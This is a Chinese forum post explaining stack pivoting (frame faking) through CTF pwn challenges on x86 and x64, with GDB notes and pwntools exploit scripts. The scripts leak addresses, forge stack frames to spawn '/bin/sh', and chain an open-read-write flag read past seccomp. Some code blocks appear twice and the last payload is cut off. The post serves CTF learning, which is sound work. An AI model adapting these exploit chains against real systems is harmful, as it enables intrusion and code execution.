首页
社区
课程
招聘
[原创][原创]frame faking 栈迁移的理解 和 例题详解(含图示)
发表于: 2021-4-8 18:37 10347

[原创][原创]frame faking 栈迁移的理解 和 例题详解(含图示)

2021-4-8 18:37
10347

原理:

leave_ret:

栈迁移大概流程图:

栈迁移

关键点:ebp实际上是个寄存器

看程序关键部分

image-20210322205202909

image-20210322205455670

这里还有个后面函数 所以这里调用了system 所以我们在后面也可以使用system

0x28太小不足以用一些好的 ROP

我们如果把0x28 全填充为A 栈上的布局如图

image-20210322205820506

而printf %s 要遇见'\0' 才会终止 所以我们可以通过printf 泄露出ebp的地址

从而伪造ebp 实现栈迁移

我们先设计一下exp

这里流程是 read 结束后 要leave_ret 此时 ebp -> fake_ebp_addr

image-20210323003516399

又将会执行一次 leave_ret(即我们放进去的 leave_ret)

image-20210323003855964

因为第二次 leave_ret 同样要 pop ebp,pop ebp 后 ebp=’AAAA'

同样要esp=esp+4,所以前四个字节填’AAAA‘

system_plt 放在buf+4的地址

完成pop ebp 后 esp -> system_plt

然后程序会 按照我们栈布局的内容执行,从而getshell

exp:

payload 解释:

fake_ebp:

GDB得到buf_address = 0xffffce20

image-20210331195818490

得到ebp 指向的地址 [ebp]=0xffffce58

image-20210331200131103

所以我们只要把泄露出的ebp -0x38 就让程序流程从布局好的buf段上执行

检查保护:

NX enabled,FULL RELRO

再进IDA 看看程序流程

image-20210331202156995

这里count是个检查 不好反复栈溢出 main 只能跳一次

这里选择通过伪造ebp 通过栈转移 进而控制程序执行流程

这里可以溢出大小为 0x40-0x28=0x18

因为我们每次只能读入0x40 个字节 所以payload要分开写

payload1:

这里payload1 刚好大小0x40

我们先找到一段可以写的bss段 然后把bss+0x500地址作为fake_ebp

fake_ebp就是我们新的stack起始

通过把return_address 地址覆盖为read_plt 进而调用read 向新的stack 写入我们的payload2

gdb 跟一下:

跟到第一个read后发现ebp 已经被我们虚假fake_ebp覆盖了(buf_addr 就是找到bss段+0x500)

image-20210401014334255

马上程序会执行第个read (1)

第read(1) 读入puts.plt , 因为没有现成的system函数可以调用,这里选择通过puts泄露libc基址

泄露后继续利用read(2) 读入 system 地址和'/bin/sh' 从而实现get shell

因为我们要跳到我们填system_address 的地址上所以fake_ebp2=bss+0x400=read(2)读入数据存放地址

当read(2)结束后通过leave_ret 跳到bss+0x400上 进而执行system("/bin/sh")

payload2:

payload3:

图示栈布局程序流程:

未命名文件

exp 如下

image-20210323185422402

exp 中的pop_ebx_ret 是为了弹出在栈上的puts_got 好正常执行 read(0,bss+0x400,0x100)

因为read 的参数是由栈上获取的

题目下载地址:

https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2

get_shell 或者 orw 得到 flag

原理和x86的栈迁移的原理一致都是通过 制造fake ebp 来将栈转移到我们布置的地址空间上,

从而控制程序执行流程

区别:x64要通过gadget 填入参数

先看保护:

image-20210408170339500

NX enabled

main function:

image-20210408170435550

发现 可以向buf 地址写内容

有两个read 第一个read 可以读0x100 且是向buf地址写内容(buf 在bss段上)

所以我们可以把栈布局 在buf上 然后通过第二个read 制造一个fake ebp 从而实现栈迁移

把栈执行流程转移到我们之前布局的地址上

这里还发现有seccomp 禁用了execve()

image-20210408170938440

所以这里就通过orw 来直接读flag了

因为这里利用gadget,所以我们先寻找gadget,我们发现rdi 和 rsi 都可以控制,但是rdx不行

后话:(这里调试发现rdx参数是之前read的0x60无影响)

这里我们选择利用libc_csu_init 通用gadget 来控制参数,刚好就利用栈迁移+orw+libc_csu_init 通用gadget

image-20210408171539569

利用总结:

section 1:

open(buf_address,0)

通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头

利用csu_end 里的call来执行

image-20210408173118726

section 2:

image-20210408173220675

section1 执行完后由于我们控制rbx==rbp==1 所以不跳转 但是要rsp=rsp+8

这里用'A' * 8 来填充栈 使后面填充的参数正确对应

填充read(fd,address,size)=read(0x4,bss_stage,0x20) , (bss_stage)是读的flag放置的位置

用0x38 作为libc_csu_init gadget利用的结尾平衡栈

section 3:

利用puts打印flag

image-20210408174059137

前0x50 用"A"填充 利用我们布局的栈地址覆盖用原来的 ebp ,利用leave_ret 实现栈转移

完整exp:

####补充 本地复现需要自己创建一个flag 文件和 some_life_experience文件

https://bbs.pediy.com/thread-258030.htm

leave:
        move esp,ebp;
        pop ebp;(esp=esp+4)
leave:
        move esp,ebp;
        pop ebp;(esp=esp+4)
ret:
        pop    eip;
ret:
        pop    eip;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
arch      = 32
challenge = "./ciscn_s_4"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
system=elf.plt['system']
leave_ret=0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1='A' * 0x24+'a'*4
ru('name?')
sd(payload1)
ru('aaaa')
ebp=u32(re(4).ljust(4,'\x00'))
print 'epb:'+(hex(ebp))
fake_ebp=ebp-0x38
payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'
payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
from pwn import *
arch      = 32
challenge = "./ciscn_s_4"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
system=elf.plt['system']
leave_ret=0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1='A' * 0x24+'a'*4
ru('name?')
sd(payload1)
ru('aaaa')
ebp=u32(re(4).ljust(4,'\x00'))
print 'epb:'+(hex(ebp))
fake_ebp=ebp-0x38
payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'
payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
 
 
 
 
 
offset=0xffffce58 - 0xffffce20 =0x38
offset=0xffffce58 - 0xffffce20 =0x38
rgzz@ubuntu:~/work/stack/pivoting$ checksec migration
[*] '/home/rgzz/work/stack/pivoting/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
rgzz@ubuntu:~/work/stack/pivoting$ checksec migration
[*] '/home/rgzz/work/stack/pivoting/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
 
 
 
 
 
 
 
payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])
payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])
 
 
 
 
 
 
 
 
 
 
 
 
payload2 = flat([bss+0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,0
,bss+0x400
,0x100
])
payload2 = flat([bss+0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,0
,bss+0x400

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-4-8 18:38 被0xRGz编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//